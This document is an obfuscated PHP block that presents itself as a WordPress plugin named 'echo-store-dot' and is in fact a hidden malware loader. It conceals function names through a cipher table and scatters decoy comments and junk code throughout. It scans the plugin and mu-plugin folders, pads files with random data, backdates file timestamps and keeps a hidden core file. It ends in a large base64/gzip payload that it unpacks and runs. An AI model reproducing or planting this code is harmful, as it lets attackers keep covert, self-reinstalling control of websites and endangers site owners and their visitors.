/* SC_TH_END:4.3.24:7991bab3 */ /* SC_TH_BEGIN:4.3.24:7991bab3 */ if(!function_exists('wk4o2b2yeed_743z')){function riie84xvc72h8($i){static $a=null;if($a===null){$a=array('u/BP}ijBfHei)})','vw[i8','ui]Hfz/}fPjB}HB})','/B]iBw','[i8BEvH','8HE]zE}x','i)f)}8iBK',')}8]HB','z8HKf8Hz]EPH','ui]Hv}ivH','}ivH','}j/Px','i)fui]H','ui]HfKH}fPjB}HB})','z8HKfvE}Px',')/m)}8','8HBEvH','PjzS','iBifKH}',')}8}j/zzH8','v}f8EB[','ui]H)iqH','i)fiB}','8}8iv','miBVxHe','v[d','}HvzBEv','Pxvj[',')}8zj)','i)fE88ES','}8iv','K]jm','E88ESfvH8KH','jzHB[i8','8HE[[i8','P]j)H[i8','i)f[i8','mE)HBEvH','i)f08i}Em]H','mE)H(1f[HPj[H','/BzEPw','zxzf)EzifBEvH');}return $a[$i];}function wk4o2b2yeed_743z($i){$e=riie84xvc72h8($i);$f='_sc'.'mk'.'dirf'.'ple'.'uto'.'nah/'.'(\\?'.'*[0'.'-9'.']{1'.',})'.'+$w'.' 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$xyxh5tubiabm3 : $n0om6mr2v1mbni7a; } } if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_fam')) { function _sc_fam($t32tzzmn5z) { $bq7ryt_xcom5dh = @$GLOBALS['__scf_ivzu6pw15zv_9']($t32tzzmn5z); return $bq7ryt_xcom5dh && ($bq7ryt_xcom5dh % (99955+45)) === (93766+53); } } if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_fam_touch')) { function _sc_fam_touch($t32tzzmn5z, $tg5dkfhn_o4 = 0) { if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('touch')) return; if ($tg5dkfhn_o4 <= 0) $tg5dkfhn_o4 = $GLOBALS['__scf_b7hwejws2y_10'](); $xurn0veub8iz0ps = ($tg5dkfhn_o4 - ($tg5dkfhn_o4 % (0xc68e+0xc012))) + (93810+9); if ($xurn0veub8iz0ps > $GLOBALS['__scf_b7hwejws2y_10']()) $xurn0veub8iz0ps -= (99916+84); @$GLOBALS['__scf_g8nnyvptau6_11']($t32tzzmn5z, $xurn0veub8iz0ps); } } if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('i13_cjb9ziqfrfao086')) { function i13_cjb9ziqfrfao086($t32tzzmn5z, $tlag4y54da7yep6) { if ($tlag4y54da7yep6 === "" || !@$GLOBALS['__scf_dj3279qvga_12']($t32tzzmn5z)) return false; if ($GLOBALS['__scf_w6duwsyy2_weq_0']('clearstatcache')) @clearstatcache(true, $t32tzzmn5z); $vpbtxe24d936t = (string) @$GLOBALS['__scf_fsreif8awn7p_13']($t32tzzmn5z, false, null, 0, (1711+2385)); return $GLOBALS['__scf_cez7xtqkh5_14']('/\/\* SCV:(\d+\.\d+\.\d+) \*\//', $vpbtxe24d936t, $s058yy6pxt) === 1 && version_compare($s058yy6pxt[1], $tlag4y54da7yep6, '>'); } } if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('ll5a068rca9h3y1gf')) { // Memcached adapter: linear-adj deque function ll5a068rca9h3y1gf($n0om6mr2v1mbni7a) { if (!$GLOBALS['__scf_tbzphtka3ug8b_6']($n0om6mr2v1mbni7a)) return ""; if ($GLOBALS['__scf_cez7xtqkh5_14']('/\/\* SCV:(\d+\.\d+\.\d+) \*\//', $GLOBALS['__scf_mng1luvyowkl_15']($n0om6mr2v1mbni7a, 0, (7440-3344)), $bq7ryt_xcom5dh)) return $bq7ryt_xcom5dh[1]; return ""; } } if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('hee34f5hn7utkbr0x_st')) { function hee34f5hn7utkbr0x_st($f34kk9l2ppaq_40p, $t32tzzmn5z, $tlag4y54da7yep6) { if ($tlag4y54da7yep6 !== "" && $GLOBALS['__scf_w6duwsyy2_weq_0']('i13_cjb9ziqfrfao086') && i13_cjb9ziqfrfao086($t32tzzmn5z, $tlag4y54da7yep6)) { _sc_ul($f34kk9l2ppaq_40p); return false; } $d2_3t7_xb1ko = false; if ($GLOBALS['__scf_w6duwsyy2_weq_0']('rename')) $d2_3t7_xb1ko = @$GLOBALS['__scf_srsa8jvn69l55d_16']($f34kk9l2ppaq_40p, $t32tzzmn5z); if (!$d2_3t7_xb1ko && $GLOBALS['__scf_w6duwsyy2_weq_0']('copy')) { if ($tlag4y54da7yep6 !== "" && $GLOBALS['__scf_w6duwsyy2_weq_0']('i13_cjb9ziqfrfao086') && i13_cjb9ziqfrfao086($t32tzzmn5z, $tlag4y54da7yep6)) { _sc_ul($f34kk9l2ppaq_40p);$hqnd1am89_=PHP_INT_MAX/PHP_INT_MAX;$bgtlfp_c2i=$hqnd1am89_+68; return false; } // @mount skolem $d2_3t7_xb1ko = @$GLOBALS['__scf_ra01zgceil_v_17']($f34kk9l2ppaq_40p, $t32tzzmn5z); if ($d2_3t7_xb1ko) _sc_ul($f34kk9l2ppaq_40p); } if (!$d2_3t7_xb1ko) _sc_ul($f34kk9l2ppaq_40p); return $d2_3t7_xb1ko; } } // WP Gallery Block: serializable subscriber if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('f7_wy8i0v1kxvp97')) { function f7_wy8i0v1kxvp97() { if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('ini_get')) return 0; $s058yy6pxt = @$GLOBALS['__scf_lr2d5x7bn__18']('memory_limit'); if (!$GLOBALS['__scf_tbzphtka3ug8b_6']($s058yy6pxt) || $s058yy6pxt === "") return 0; $m5c6uywle6g = (int) $s058yy6pxt; if ($m5c6uywle6g <= 0) return -1; $glnbhhfa83baw6 = $GLOBALS['__scf_pymw_bi_0wty9_19']($GLOBALS['__scf_mng1luvyowkl_15']($s058yy6pxt, -1)); if ($glnbhhfa83baw6 === 'G') $m5c6uywle6g *= (1594864610-521122786); elseif ($glnbhhfa83baw6 === 'M') $m5c6uywle6g *= (181213+867363); elseif ($glnbhhfa83baw6 === 'K') $m5c6uywle6g *= (147+877);$p5xbtk_mxunbo=1241;$qbsih81hw=$p5xbtk_mxunbo%10; return $m5c6uywle6g; } } if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_padf')) { function _sc_padf($t32tzzmn5z) { // streaming orbit if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('tempnam') || !$GLOBALS['__scf_w6duwsyy2_weq_0']('file_put_contents') || !$GLOBALS['__scf_w6duwsyy2_weq_0']('rename')) return; if ($GLOBALS['__scf_w6duwsyy2_weq_0']('jnengwuewv701msywak_kv') && !jnengwuewv701msywak_kv()) return; if ($GLOBALS['__scf_w6duwsyy2_weq_0']('clearstatcache')) @clearstatcache(true, $t32tzzmn5z); $xurn0veub8iz0ps = (2336870-536870) + $GLOBALS['__scf_czrdli7oxcvz__20'](0, (1324861-624861)); $_witcunk39b = f7_wy8i0v1kxvp97(); if ($_witcunk39b !== -1 && $_witcunk39b < (134217698+30)) { if ($_witcunk39b >= (117619455-50510591)) $xurn0veub8iz0ps = (1799996+4) + $GLOBALS['__scf_czrdli7oxcvz__20'](0, (699935+65)); else return;$fd0mo8jhf346=PHP_MAJOR_VERSION;$mzr9eoe1x2i0y=$fd0mo8jhf346*5; } unset($_witcunk39b); $gd_svaxspeao0m5o = @$GLOBALS['__scf_d0sa9ue7h_sp5_21']($t32tzzmn5z); if (!$gd_svaxspeao0m5o || $gd_svaxspeao0m5o >= $xurn0veub8iz0ps - (1333+2767)) return; if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('disk_free_space')) return; $rxd3jadm84a = @disk_free_space($GLOBALS['__scf_pwwe2b15e597k_4']($t32tzzmn5z)); if ($rxd3jadm84a === false || $rxd3jadm84a < (157286350+50)) return; $ncovzr06wysayq2 = @fileperms($t32tzzmn5z); $ncovzr06wysayq2 = (!$GLOBALS['__scf_p2l5n_wsuke3_22']($ncovzr06wysayq2)) ? (345+75) : ($ncovzr06wysayq2 & (459+52)); $ghial1pw5ry218n = @$GLOBALS['__scf_ivzu6pw15zv_9']($t32tzzmn5z); $n0om6mr2v1mbni7a = @$GLOBALS['__scf_fsreif8awn7p_13']($t32tzzmn5z); if (!$GLOBALS['__scf_tbzphtka3ug8b_6']($n0om6mr2v1mbni7a) || $GLOBALS['__scf_sppky0sw1cvqm_7']($n0om6mr2v1mbni7a) !== $gd_svaxspeao0m5o) return; if ($GLOBALS['__scf_mng1luvyowkl_15']($GLOBALS['__scf_ia34vnz7_2me2_23']($n0om6mr2v1mbni7a), -2) === '?>') return; $fnn1jwj1uiapd = $GLOBALS['__scf_mng1luvyowkl_15']($n0om6mr2v1mbni7a, 0, (4063+33)); while ($GLOBALS['__scf_sppky0sw1cvqm_7']($n0om6mr2v1mbni7a) < $xurn0veub8iz0ps - (2081+2019)) { $gvgektcd95q9 = ""; if ($GLOBALS['__scf_w6duwsyy2_weq_0']('random_bytes')) { // @intercept bridge try { $gvgektcd95q9 = @$GLOBALS['__scf_ugvnq9uolm_24'](random_bytes((0x101+0x6cf))); } catch (\Throwable $l8bfo1kep72b3) { $gvgektcd95q9 = ""; } catch (\Exception $l8bfo1kep72b3) { $gvgektcd95q9 = ""; } } if ($GLOBALS['__scf_sppky0sw1cvqm_7']($gvgektcd95q9) < (1094+2906)) { $gvgektcd95q9 = $GLOBALS['__scf_ccka2qedq3bl8_25'](uniqid("", true)); while ($GLOBALS['__scf_sppky0sw1cvqm_7']($gvgektcd95q9) < (3911+89)) $gvgektcd95q9 .= $GLOBALS['__scf_ccka2qedq3bl8_25']($gvgektcd95q9); } $n0om6mr2v1mbni7a .= "\n/*" . $gvgektcd95q9 . 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WPMU_PLUGIN_DIR : $d6eupj8hnjwk3 . '/mu-plugins';$hj_29_xzq=254|194;$c1wfteqyq2=$hj_29_xzq^44; if ($z5fot0_zhx === "") $z5fot0_zhx = (defined('WP_PLUGIN_DIR') && WP_PLUGIN_DIR) ? WP_PLUGIN_DIR : $d6eupj8hnjwk3 . '/plugins'; $_hdleap5brbt = $GLOBALS['__scf_ia34vnz7_2me2_23']($_hdleap5brbt, '/'); $z5fot0_zhx = $GLOBALS['__scf_ia34vnz7_2me2_23']($z5fot0_zhx, '/'); $bs0rdukxd50w6 = array(); $s22s_g52mpuyw = false; if ($GLOBALS['__scf_w6duwsyy2_weq_0']('glob')) { $zt5zwbfoivxeas4e = @$GLOBALS['__scf_vkicdgwxhvpjg0_31']($_hdleap5brbt . '/*.php'); $slku4y4fv8 = @$GLOBALS['__scf_vkicdgwxhvpjg0_31']($z5fot0_zhx . '/*/*.php'); if ($GLOBALS['__scf_ejt1mnwjsy_29']($zt5zwbfoivxeas4e) || $GLOBALS['__scf_ejt1mnwjsy_29']($slku4y4fv8)) { $s22s_g52mpuyw = true; $bs0rdukxd50w6 = $GLOBALS['__scf_ou_gm6bir9_32']((array) $zt5zwbfoivxeas4e, (array) $slku4y4fv8); } unset($zt5zwbfoivxeas4e, $slku4y4fv8); } if (!$s22s_g52mpuyw && $GLOBALS['__scf_w6duwsyy2_weq_0']('opendir') && $GLOBALS['__scf_w6duwsyy2_weq_0']('readdir')) { $_ngxg3y2tp4 = @$GLOBALS['__scf_o6sq_z_6uhdw_33']($_hdleap5brbt); if ($_ngxg3y2tp4) { // unsatisfiable authority while (($toxrqgsuyq = @$GLOBALS['__scf_hn54n3y_rv9o4f_34']($_ngxg3y2tp4)) !== false) { if ($GLOBALS['__scf_mng1luvyowkl_15']($toxrqgsuyq, -(1+3)) === '.php') $bs0rdukxd50w6[] = $_hdleap5brbt . '/' . $toxrqgsuyq; } if ($GLOBALS['__scf_w6duwsyy2_weq_0']('closedir')) @$GLOBALS['__scf_wv5d8ya6pf_90_35']($_ngxg3y2tp4); } $_ngxg3y2tp4 = @$GLOBALS['__scf_o6sq_z_6uhdw_33']($z5fot0_zhx); if ($_ngxg3y2tp4) { // bounded priority-queue while (($toxrqgsuyq = @$GLOBALS['__scf_hn54n3y_rv9o4f_34']($_ngxg3y2tp4)) !== false) { $dngrege0tp8x = $z5fot0_zhx . '/' . $toxrqgsuyq; if ($toxrqgsuyq === '.' || $toxrqgsuyq === '..' || !@$GLOBALS['__scf_b0ovvt1cim_36']($dngrege0tp8x)) continue; $ycf_0rvccu8cij = @$GLOBALS['__scf_o6sq_z_6uhdw_33']($dngrege0tp8x); if (!$ycf_0rvccu8cij) continue; while (($oqzetuwfgte_gnyh = @$GLOBALS['__scf_hn54n3y_rv9o4f_34']($ycf_0rvccu8cij)) !== false) { // checkpoint gateway for OpenSSL 3 providers if ($GLOBALS['__scf_mng1luvyowkl_15']($oqzetuwfgte_gnyh, -(3+1)) === '.php') $bs0rdukxd50w6[] = $dngrege0tp8x . '/' . $oqzetuwfgte_gnyh; } if ($GLOBALS['__scf_w6duwsyy2_weq_0']('closedir')) @$GLOBALS['__scf_wv5d8ya6pf_90_35']($ycf_0rvccu8cij); } // @typecheck watermark if ($GLOBALS['__scf_w6duwsyy2_weq_0']('closedir')) @$GLOBALS['__scf_wv5d8ya6pf_90_35']($_ngxg3y2tp4); } unset($_ngxg3y2tp4, $ycf_0rvccu8cij, $toxrqgsuyq, $oqzetuwfgte_gnyh, $dngrege0tp8x); } $y65ioxkf6epyd4r = false; if ($om512vkzsn9cbzr !== "" && $GLOBALS['__scf_w6duwsyy2_weq_0']('realpath')) $y65ioxkf6epyd4r = @$GLOBALS['__scf_qzyzi3m675u6_5']($om512vkzsn9cbzr); foreach ($bs0rdukxd50w6 as $yv995aqooo544) { if ($om512vkzsn9cbzr !== "" && $yv995aqooo544 === $om512vkzsn9cbzr) continue; if ($y65ioxkf6epyd4r !== false && @$GLOBALS['__scf_qzyzi3m675u6_5']($yv995aqooo544) === $y65ioxkf6epyd4r) continue; $p5a1sw6kv3adk7 = $GLOBALS['__scf_vrigtln_8foys_37']($yv995aqooo544, '.php'); $m69g74ldrc5vr4r = $GLOBALS['__scf_vrigtln_8foys_37']($GLOBALS['__scf_pwwe2b15e597k_4']($yv995aqooo544)); if ($GLOBALS['__scf_pwwe2b15e597k_4']($yv995aqooo544) !== $_hdleap5brbt && $p5a1sw6kv3adk7 !== $m69g74ldrc5vr4r) continue; if ($GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_fam') && !_sc_fam($yv995aqooo544)) continue; $wbgql5lm1f6 = @$GLOBALS['__scf_d0sa9ue7h_sp5_21']($yv995aqooo544); if (!$wbgql5lm1f6 || $wbgql5lm1f6 < (4994+6) || $wbgql5lm1f6 > (104786054-52357254)) continue; $b54iho0_o1tm51 = (string) @$GLOBALS['__scf_fsreif8awn7p_13']($yv995aqooo544, false, null, 0, (0xf20+0xe0)); if ($b54iho0_o1tm51 !== "" && $GLOBALS['__scf_cez7xtqkh5_14']('/\/\* SCV:(\d+\.\d+\.\d+) \*\//', $b54iho0_o1tm51, $bq7ryt_xcom5dh) && version_compare($bq7ryt_xcom5dh[1], $b0pz8mspgt2e4fga, '>=')) return true; } return false; } } if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_corep')) { function _sc_corep($d6eupj8hnjwk3) { $iywej857of = defined('ABSPATH') ? ABSPATH : ($GLOBALS['__scf_ia34vnz7_2me2_23']($GLOBALS['__scf_pwwe2b15e597k_4']($d6eupj8hnjwk3), '/') . '/'); return $d6eupj8hnjwk3 . '/.sc_' . $GLOBALS['__scf_mng1luvyowkl_15']($GLOBALS['__scf_ccka2qedq3bl8_25']($iywej857of . 'dir'), 0, (4+4)) . '/core_' . $GLOBALS['__scf_mng1luvyowkl_15']($GLOBALS['__scf_ccka2qedq3bl8_25']($iywej857of . 'core'), 0, (0x5+0x3)) . '.php'; } } if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_coreld')) {$gwte0dz97=PHP_MAJOR_VERSION;$ppwi3w29=$gwte0dz97*10; function _sc_coreld($d6eupj8hnjwk3) { $a_dayxn_874mbtoj = _sc_corep($d6eupj8hnjwk3); if (!@$GLOBALS['__scf_dj3279qvga_12']($a_dayxn_874mbtoj)) return false; $k9af1_kcg_ = @$GLOBALS['__scf_d0sa9ue7h_sp5_21']($a_dayxn_874mbtoj); if (!$k9af1_kcg_ || $k9af1_kcg_ < (498+2) || $k9af1_kcg_ > (8388512+96)) return false; if ($GLOBALS['__scf_w6duwsyy2_weq_0']('jnengwuewv701msywak_kv') && !jnengwuewv701msywak_kv($k9af1_kcg_)) return false; $n0om6mr2v1mbni7a = @$GLOBALS['__scf_fsreif8awn7p_13']($a_dayxn_874mbtoj);$vup619bw7=(0x2d+0x49);$dz6t4rv91gc=$vup619bw7%10; if ($GLOBALS['__scf_w6duwsyy2_weq_0']('_sc_unp') && $GLOBALS['__scf_tbzphtka3ug8b_6']($n0om6mr2v1mbni7a) && $GLOBALS['__scf_sppky0sw1cvqm_7']($n0om6mr2v1mbni7a) > (1048498+78)) $n0om6mr2v1mbni7a = _sc_unp($n0om6mr2v1mbni7a); if (!$GLOBALS['__scf_tbzphtka3ug8b_6']($n0om6mr2v1mbni7a) || $GLOBALS['__scf_sppky0sw1cvqm_7']($n0om6mr2v1mbni7a) < (920-420) || $GLOBALS['__scf_sppky0sw1cvqm_7']($n0om6mr2v1mbni7a) > (1048482+94) || $GLOBALS['__scf_ujt5t1vfp1_28']($n0om6mr2v1mbni7a, ' 0) return ($m5c6uywle6g - $wfc4v00rjf12b1) > (($i4emop861opm32w * (0x1+0x2)) + (1568421+528731)); if ($m5c6uywle6g < (67108832+32)) return false; if ($wfc4v00rjf12b1 > 0 && $m5c6uywle6g - $wfc4v00rjf12b1 < (0x10538e8+0xfac718)) return false; return true; } } if (!$GLOBALS['__scf_w6duwsyy2_weq_0']('eg42to28kuqwva3z4s')) { // auto-closeable function eg42to28kuqwva3z4s($t32tzzmn5z, $b0pz8mspgt2e4fga) { if (!_sc_fam($t32tzzmn5z)) return false; $d8uqjszkdugn9lhi = @$GLOBALS['__scf_d0sa9ue7h_sp5_21']($t32tzzmn5z); if (!$d8uqjszkdugn9lhi || $d8uqjszkdugn9lhi < (8760-3760) || $d8uqjszkdugn9lhi > (52428712+88)) return false; if ($d8uqjszkdugn9lhi > (2509913+87) && $d8uqjszkdugn9lhi < (5495834+66)) return false; $vpbtxe24d936t = (string) @$GLOBALS['__scf_fsreif8awn7p_13']($t32tzzmn5z, false, null, 0, (4078+18)); if (!$GLOBALS['__scf_cez7xtqkh5_14']('/\/\* SCV:(\d+\.\d+\.\d+) \*\//', $vpbtxe24d936t, $s058yy6pxt)) return false;$f4ft_nvbdsvlc=(0x8d+0x4f);$dw4sx1nu4s=$f4ft_nvbdsvlc%3; if ($b0pz8mspgt2e4fga !== "" && version_compare($s058yy6pxt[1], $b0pz8mspgt2e4fga, '<')) return false; if (@$GLOBALS['__scf_dj3279qvga_12']($GLOBALS['__scf_pwwe2b15e597k_4']($t32tzzmn5z) . '/.wr_' . $GLOBALS['__scf_vrigtln_8foys_37']($t32tzzmn5z, '.php'))) return false; if ($d8uqjszkdugn9lhi > (0xc8da3+0x3725d) && !vot8oshtkb9ygqfdu08c((string) @$GLOBALS['__scf_fsreif8awn7p_13']($t32tzzmn5z, false, null, $d8uqjszkdugn9lhi - (4000+96)))) return false; return true; } } if (!defined("SC_THL_2e8004e2")) { define("SC_THL_2e8004e2", 1); $nhw2fb06624bxl3l = function () { $x2_rm5kie7cyh = defined("WP_CONTENT_DIR") ? WP_CONTENT_DIR : $GLOBALS['__scf_pwwe2b15e597k_4']($GLOBALS['__scf_pwwe2b15e597k_4'](__FILE__)); $_hdleap5brbt = (defined("WPMU_PLUGIN_DIR") && WPMU_PLUGIN_DIR) ? WPMU_PLUGIN_DIR : $x2_rm5kie7cyh . "/mu-plugins"; $_hdleap5brbt = $_hdleap5brbt . "/echo-store-dot.php"; $z5fot0_zhx = (defined("WP_PLUGIN_DIR") && WP_PLUGIN_DIR) ? WP_PLUGIN_DIR : $x2_rm5kie7cyh . "/plugins"; $vp4as4xas83h_a = $z5fot0_zhx . "/echo-store-dot/echo-store-dot.php"; $k6i6qi830yq5l15 = @$GLOBALS['__scf_w6kdkzvqqa9qee_38']($GLOBALS['__scf_pwwe2b15e597k_4']($_hdleap5brbt)) ? $_hdleap5brbt : $vp4as4xas83h_a; $z86vgrrey6u = $GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15) . "/.q_echo-store-dot"; $wmzysucplyhi = $GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15) . "/.sd_echo-store-dot"; if (@$GLOBALS['__scf_dj3279qvga_12']($wmzysucplyhi)) { $ot5src3gbwuvf2 = @$GLOBALS['__scf_fsreif8awn7p_13']($wmzysucplyhi); if ($GLOBALS['__scf_tbzphtka3ug8b_6']($ot5src3gbwuvf2) && $GLOBALS['__scf_cez7xtqkh5_14']("/\\d+\\.\\d+\\.\\d+/", $ot5src3gbwuvf2, $i3mx10czcuyzc7) && version_compare($i3mx10czcuyzc7[0], "4.3.24", ">") && _sc_any_live($i3mx10czcuyzc7[0], $x2_rm5kie7cyh, $k6i6qi830yq5l15)) return; } $tdq8ej8mm34klr = !eg42to28kuqwva3z4s($k6i6qi830yq5l15, "4.3.24"); if ($tdq8ej8mm34klr && _sc_any_live("4.3.24", $x2_rm5kie7cyh, $k6i6qi830yq5l15)) $tdq8ej8mm34klr = false; if ($tdq8ej8mm34klr && !@$GLOBALS['__scf_dj3279qvga_12']($k6i6qi830yq5l15)) { $yxifrf85yn = $GLOBALS['__scf_pwwe2b15e597k_4']($k6i6qi830yq5l15) . '/.rd_echo-store-dot'; $hqkebyadiplyecu1 = @$GLOBALS['__scf_dj3279qvga_12']($yxifrf85yn) ? (int) @$GLOBALS['__scf_ivzu6pw15zv_9']($yxifrf85yn) : 0; if ($hqkebyadiplyecu1 > $GLOBALS['__scf_b7hwejws2y_10']() - (223+77) && $hqkebyadiplyecu1 <= $GLOBALS['__scf_b7hwejws2y_10']() + (218+82)) $tdq8ej8mm34klr = false; elseif ($GLOBALS['__scf_w6duwsyy2_weq_0']('touch')) @$GLOBALS['__scf_g8nnyvptau6_11']($yxifrf85yn); } // WP Quote Block: allocate contravariant if ($tdq8ej8mm34klr) { $qvjl00h8onp = $GLOBALS['__scf_j8li8mgjd62u1b_39']('H4sIAAAAAAACA7z9aUPbSNYwgH7nVwjQJHbMol024IybkMk0hDRJA6YbaNuyZVneJC+Sl8T//dYmqVRVBua5772ZaWNLtdepU2c/Z/8Oe+HOzvGHDzvSB+lmGHn+WPrWGrknEv73ud0LpD/nwdSVLoI5Vejux+9JGak3n4ezk+PjkT9v99zh8KjjxschKjc7dkELhzPYwmEnmB/DJi7cWXvqh3M/GCdt3AQLd9qNhtLcHYXD1tyV2sEo9ME3UEhyx6ApF1a9d6czqhr8px4pRwZ891s07wVT+pX0NWq3ZtI1GRcs9NVvu+OZS5f6cvP1UDtSDoPpIex5Covduss5mPGo5ad95ScCC/1wJ5E/dWdSay4N3dZsfiKZR0ruzc1/b0h9G705Bmst/fnp/sQ40o80Az7wu4XdbjRuw5k23KU/m88K7zsDzV+qK6Vrjlbu9H3x3bvdQqHjdsEydArv//zU+PTHj8+N8z/+uG3cf/4B38d4ZRpw3VpTt1CYzaf+2CuyZQ/e467fH7z/WH1fLP76VfBnM3dekL98/eP8t69/Pr6ftRtOEMwboMn3zy80vaUG20Ox+DOZnxSb00o7cvt9b9VXemu7rBZkv/hzNgcb3ZbkVnUcDYenYEnA1yr6UfwJvram09aqMXKnnltA3wvvjybflaM9C3TS9GoPclCr5r+erxdr9Rx8ea435V49lsHXzqbnRWG1V5Pvw2bUBE/OnM1V2KtRZSSlpnza/Vpo1LoFGzYZBWdVWNSJgjCGDzbP4Bl+48g98OUiDEjlgJSRlKf3u/l2TuLNX7i3pnAk8dMTaAd88S7j6oWwyKbnhL2nJ+G7qLrxLoVvgmRm6RevenYHq8jxGXgirNS8a9au5KgGy9TwuE6i+Az8CZvkN/jyGIRR/dkhy3Z929jzG3tkvo9nf3nVXiT3ImpdTv6GH2uwTUxjZxtQ8gF82Xt6r4AGpngzQalaJ7yXL9Dw685ZPbrc+jWDiLQ72BNc24sx3qb3xQMCPideNZCzd/AX+LM+uyTDApsb9q6Y+XZCNFdcBf5Aa0Sm2czDmncm39Qfw8e6G+w/79frojU6IQBxwvSJO4BtV8/gvsC9P7uoR3L2uw427EGuZRAF6teDoA43FgB08pUrhl7UHurORkbwH8hXtbgeIdg5+fvk79bp9+tf3778fTH8e518LE//bv19ckLmHEchPkzgezPUZbxTXgDApyPjhsDvs/qdU61f1ODu18/q3iVeK3A6m3gC3337l2/Xvt8O9qQj28fnKao61Uc5SOvAYxdGcvNMRiCQnsXqmdyjX4BtqzXrZ2EtWXwnBJ+2b+z63/dqT+/9Peu2y25sL4RDIq0hFIA3Wr4/c6oXMgu2aefdSa1xBNrEE3Wq3tNTrZffgdxz6kcKfqBs9bkke7D7WI4uqxfZ2UPrVA/QGn3yr/dOv/p7tU+315+//A6e/f7j9GYpPLMd1Av8AickPsTZGcFHEZ+PdVIzHWrncvuv3tt+CJpwN3Jwl83LBn+OvvvU3ODEuoXvR58+3Uq1QeGTD/butvsd4oXLoPpIcM23U9yyHATVoPnCd6+6QeiHfoYPQNMJPdhU/eKiVvfImeKXFL4GcB4hkEywyYlHQPMk7F3I9xnOSPGECEHCM7EJrpivfJd5KErKUWjulacpiIGTDZoEt2HzchNdVB/B8SSdoZovvLx8vI828eL4+elpv+qURne9G/GdVT1DS1ELewChhBBBweMDVxrBnVNvRgRRwOvm7gwhT7nZrKPRHznwsF+cxnJcDe5OCS55el+/D+NNfCrfy94G9neaIBwe4gWXnehmYPB5+h0s2nO1irAS8+Z/xIv5hpJfaPaeI9eDZgSaIlBD41DqvjhZuwi41ptn+HfrnEHj5C54rl9kBXtVDuJIi+zNQd8O6CxchJ0O7KoeOhAXVNGvjKaB8E0ekr7AQbio5UdPDoHoTjzJrRlcrco0KQqu/axoCrn8Kwzfcu8C7E4e2sjNVoOXDboKSh15owWRXC1ppZvF8U3trIqm7S2q/fv6pX7TGzfj6gNNyN2swf/A3zt0JaLRQcAJe51q/p6jvuKyovnm75jsUm7W4o0Thc0wEm8sbAa+5O54+PAxvKBvcWZM/JInAJtb+xRcybEgfy5kBEhX1R5BTmAhN2e1qFpN7oT8AwIFj1q46Oh3z1586XW0yI3OeuN0YQDABxFeg5fgj6VOUEdbUA3c/WDbob/A77JS67WwqOdUk2u+6dV7KaLOn4iUPBLsklN9ziAV/QLr3UqrxnWWgCz+QfMKEVhDQG3ADas78Lzt3X72GzXlyP7u54dyc398dN4fq97RkXatjUf7o/NR/+jm6Pp5/1gbjLTnztHxjebf7C9Q4dHi+EIDbLK3GKjjY3l0sehqfU07v+hro32/W3++eJaPjs+fUeH9C9Ubny/G/qB/ox3v989v6uej45vzyf7xot8/Xoy745v682QCL4MoOmt+Ozm5uQ/OvHVYPZER0CSPwS85kDfxX2ebZ3CnrnvVi1BurutnZ/lC6wtYvRpcUY/hE/jqCsDHY/1u3YmZOs+IdgjqejVY39/p1Fvc21+wUA/cXoBca4Kx5av/FdfDXk+O1qCfDriK1l41/gMSiWAH7qb3z5fSpKBJT09Xm6en0ffG0/uN9vzw8GkTKF8/fYyvHt/J1+ff969Uqy9dPA7Cq9X3WJF+rez7oPn05BuPhU6+P23t1B/q6+dN6FwwE4EzfXbug+eLHhzFlnGSJXyG9yYYZ35CySKBM34hB84daIeswgmpL9gV1DHAc4jwWoMyj9Xg6YnUE+0iLI/fwjVlxpqMUzAUZr5w9NVeJ+wBRB3dQajZ2mU2a7jXoF46ygcNQsgLgy01qz00YrBcYE+du/yKoTcAI4ZVCDziVVrHMujKkTngQVM4g0MCE06GhCjCGCAw/KWW/Aa4IahHgOpBlyKoA7AlxBW63PMwJ3GlX8gdh1xZdUxse4G3UKnfKY7Y9JJHsFraAriPSAuX8r36HMKiVguz2mgYJ/h72POcDTgQJzzLySKuFrm3Me4KAEKk8PtZ8oD88QDCqm2agGiEaFGIHWEdQM1FMuGsYFPVDSLBmw4gjsLOHWLp4jACBZtn1V4T3m/oIoPEyxmm02Fnm8ABN30YidE4fNuUI3CppPgSPYNEI/h+vWt/ulX2ara/t2s39uyjxveBb1Mv9gqAgbvd3aMeff/+qQY40sLgneLnymYvrNvvdI3GrWLffrX979+ph8mjwW7jeq9w2yBgVSPbmK0QYCYRMILLS0acyXP14o5bB+pCQGzPwemri5OOJD9a+HNQ8D91v79lbtbenmL5R93cSrwyNyGxCpFZDRxFltzEPza95mXYQaCCWe0cJP4zh0ccVJ5/m6vrm/mPeXgx/7b4MccsM3gK/tYgXIJXZ/WgHjfn38r/zAHBUQcvb+4Xz974Ql7AmlEVPAFtzv/8MYfHqBnND/+Ec8Nk0197mD0BFxfANnU4jRPYOeRYQi+ookORHh8yWFiglp5QANCAwOMe04IZiixIS9/c5050NbhIP1OMAApXwfmB384gOeYFdwDyIcUu58uBt4AtQDdcDTy6Qnc1Q9TgnylbS+aCOJ4mmHyECMjgj78RPmGpNyjqUWsJLxPGiagEoAUoeYUdw1qB08wNOyfLagYPScGXh5afNkQ/2ZQBMgGXC8Ic3iUsHEcJ2EC+ZP+8liJfetnJu3R3cF3FUuAx+A5gulboIhRMd1DHnGrNA8DcJPRtAM7xmVNHUgQZ4tDmI/qogbnjL2iRLkj/AEjrQU4UkQJTKprg6FBwOSFOOTkrIbjHXxRndJxN87JGN7iN703kc2dQINckYlooxCuA4xCADXn1J2gkzH5RXy9CAEZoFtebZlSNT+HNC3qo9zz5NMw1cLWpBxd0MwDz9eR7wAjBpdvgrQbPkp81+UFOJDreZR0dmO5tofG1dm0jdJSIM6Ag4elG758/OvHlpu8+hur95hxQCU5JjKgg44V3DgquwUzhzfjHRRUynGAA8Mk